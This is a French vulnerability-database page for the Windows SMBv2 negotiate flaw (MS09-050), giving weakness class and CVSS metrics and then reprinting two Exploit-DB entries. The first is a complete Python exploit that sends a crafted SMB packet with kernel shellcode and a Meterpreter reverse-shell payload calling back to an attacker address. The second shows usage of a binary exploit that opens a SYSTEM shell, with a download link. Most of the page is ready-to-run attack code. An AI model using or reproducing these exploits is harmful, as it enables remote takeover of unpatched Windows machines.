Faiblesses connexes
CWE-ID |
Nom de la faiblesse |
Source |
CWE-399 |
Category : Resource Management Errors Weaknesses in this category are related to improper management of system resources. |
|
Metrics
Metric |
Score |
Sévérité |
CVSS Vecteur |
Source |
V2 |
7.8 |
|
AV:N/AC:L/Au:N/C:N/I:N/A:C |
[email protected] |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
EPSS Score
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
EPSS Percentile
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 40280
Date de publication : 2016-02-25 23:00 +00:00
Auteur : ohnozzy
EDB Vérifié : No
# EDB-Note: Source ~ https://raw.githubusercontent.com/ohnozzy/Exploit/master/MS09_050.py
#!/usr/bin/python
#This module depends on the linux command line program smbclient.
#I can't find a python smb library for smb login. If you can find one, you can replace that part of the code with the smb login function in python.
#The idea is that after the evil payload is injected by the first packet, it need to be trigger by an authentication event. Whether the authentication successes or not does not matter.
import tempfile
import sys
import subprocess
from socket import socket
from time import sleep
from smb.SMBConnection import SMBConnection
try:
target = sys.argv[1]
except IndexError:
print '\nUsage: %s <target ip>\n' % sys.argv[0]
print 'Example: MS36299.py 192.168.1.1 1\n'
sys.exit(-1)
#msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.30.77 LPORT=443 EXITFUNC=thread -f python
shell = ""
shell += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b" #fce8820000006089e531c0648b
shell += "\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7"
shell += "\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf"
shell += "\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c"
shell += "\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01"
shell += "\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31"
shell += "\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d"
shell += "\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66"
shell += "\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0"
shell += "\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f"
shell += "\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68"
shell += "\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8"
shell += "\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00"
shell += "\xff\xd5\x6a\x05\x68\xc0\xa8\x1e\x4d\x68\x02\x00\x01"
shell += "\xbb\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
shell += "\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5"
shell += "\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec"
shell += "\xe8\x61\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02"
shell += "\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a"
shell += "\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53"
shell += "\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9"
shell += "\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x22\x58\x68\x00\x40"
shell += "\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57"
shell += "\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\xe9"
shell += "\x71\xff\xff\xff\x01\xc3\x29\xc6\x75\xc7\xc3\xbb\xe0"
shell += "\x1d\x2a\x0a\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c"
shell += "\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00"
shell += "\x53\xff\xd5"
host = target, 445
buff ="\x00\x00\x03\x9e\xff\x53\x4d\x42"
buff+="\x72\x00\x00\x00\x00\x18\x53\xc8"
buff+="\x17\x02" #high process ID
buff+="\x00\xe9\x58\x01\x00\x00"
buff+="\x00\x00\x00\x00\x00\x00\x00\x00"
buff+="\x00\x00\xfe\xda\x00\x7b\x03\x02"
buff+="\x04\x0d\xdf\xff"*25
buff+="\x00\x02\x53\x4d"
buff+="\x42\x20\x32\x2e\x30\x30\x32\x00"
buff+="\x00\x00\x00\x00"*37
buff+="\xff\xff\xff\xff"*2
buff+="\x42\x42\x42\x42"*7
buff+="\xb4\xff\xff\x3f" #magic index
buff+="\x41\x41\x41\x41"*6
buff+="\x09\x0d\xd0\xff" #return address
#stager_sysenter_hook from metasploit
buff+="\xfc\xfa\xeb\x1e\x5e\x68\x76\x01"
buff+="\x00\x00\x59\x0f\x32\x89\x46\x5d"
buff+="\x8b\x7e\x61\x89\xf8\x0f\x30\xb9"
buff+="\x16\x02\x00\x00\xf3\xa4\xfb\xf4"
buff+="\xeb\xfd\xe8\xdd\xff\xff\xff\x6a"
buff+="\x00\x9c\x60\xe8\x00\x00\x00\x00"
buff+="\x58\x8b\x58\x54\x89\x5c\x24\x24"
buff+="\x81\xf9\xde\xc0\xad\xde\x75\x10"
buff+="\x68\x76\x01\x00\x00\x59\x89\xd8"
buff+="\x31\xd2\x0f\x30\x31\xc0\xeb\x31"
buff+="\x8b\x32\x0f\xb6\x1e\x66\x81\xfb"
buff+="\xc3\x00\x75\x25\x8b\x58\x5c\x8d"
buff+="\x5b\x69\x89\x1a\xb8\x01\x00\x00"
buff+="\x80\x0f\xa2\x81\xe2\x00\x00\x10"
buff+="\x00\x74\x0e\xba\x00\xff\x3f\xc0"
buff+="\x83\xc2\x04\x81\x22\xff\xff\xff"
buff+="\x7f\x61\x9d\xc3\xff\xff\xff\xff"
buff+="\x00\x04\xdf\xff\x00\x04\xfe\x7f"
buff+="\x60\x6a\x30\x58\x99\x64\x8b\x18"
buff+="\x39\x53\x0c\x74\x2b\x8b\x43\x10"
buff+="\x8b\x40\x3c\x83\xc0\x28\x8b\x08"
buff+="\x03\x48\x03\x81\xf9\x6c\x61\x73"
buff+="\x73\x75\x15\xe8\x07\x00\x00\x00"
buff+="\xe8\x0d\x00\x00\x00\xeb\x09\xb9"
buff+="\xde\xc0\xad\xde\x89\xe2\x0f\x34"
buff+="\x61\xc3\x81\xc4\x54\xf2\xff\xff"
buff+=shell
s = socket()
s.connect(host)
s.send(buff)
s.close()
#Trigger the above injected code via authenticated process.
subprocess.call("echo '1223456' | rpcclient -U Administrator %s"%(target), shell=True)
Exploit Database EDB-ID : 14674
Date de publication : 2010-08-16 22:00 +00:00
Auteur : Piotr Bania
EDB Vérifié : No
Microsoft SRV2.SYS SMB Negotiate ProcessID Function Table Dereference
---------------------------------------------------------------------
Exploited by Piotr Bania // www.piotrbania.com
Exploit for Vista SP2/SP1 only, should be reliable!
Tested on:
Vista sp2 (6.0.6002.18005)
Vista sp1 ultimate (6.0.6001.18000)
Kudos for:
Stephen, HDM, Laurent Gaffie(bug) and all the mates i know, peace.
Special kudos for prdelka for testing this shit and all the hosters.
Sample usage
------------
> smb2_exploit.exe 192.167.0.5 45 0
> telnet 192.167.0.5 28876
Microsoft Windows [Version 6.0.6001]
Copyright (c) 2006 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system
C:\Windows\system32>
When all is done it should spawn a port TARGET_IP:28876
RELEASE UPDATE 08/2010:
----------------------
This exploit was created almost a year ago and wasnt modified from that time
whatsoever. The vulnerability itself is patched for a long time already so
i have decided to release this little exploit. You use it for your own
responsibility and im not responsible for any potential damage this thing
can cause. Finally i don't care whether it worked for you or not.
P.S the technique itself is described here:
http://blog.metasploit.com/2009/10/smb2-351-packets-from-trampoline.html
===========================================================================
Download:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/14674.zip (smb2_exploit_release.zip)
Products Mentioned
Configuraton 0
Microsoft>>Windows_server_2008 >> Version *
Microsoft>>Windows_server_2008 >> Version *
Microsoft>>Windows_server_2008 >> Version *
Microsoft>>Windows_server_2008 >> Version -
Microsoft>>Windows_server_2008 >> Version -
Microsoft>>Windows_server_2008 >> Version -
Microsoft>>Windows_server_2008 >> Version -
Microsoft>>Windows_server_2008 >> Version -
Microsoft>>Windows_vista >> Version *
Microsoft>>Windows_vista >> Version *
Microsoft>>Windows_vista >> Version *
Microsoft>>Windows_vista >> Version *
Microsoft>>Windows_vista >> Version -
Microsoft>>Windows_vista >> Version -
References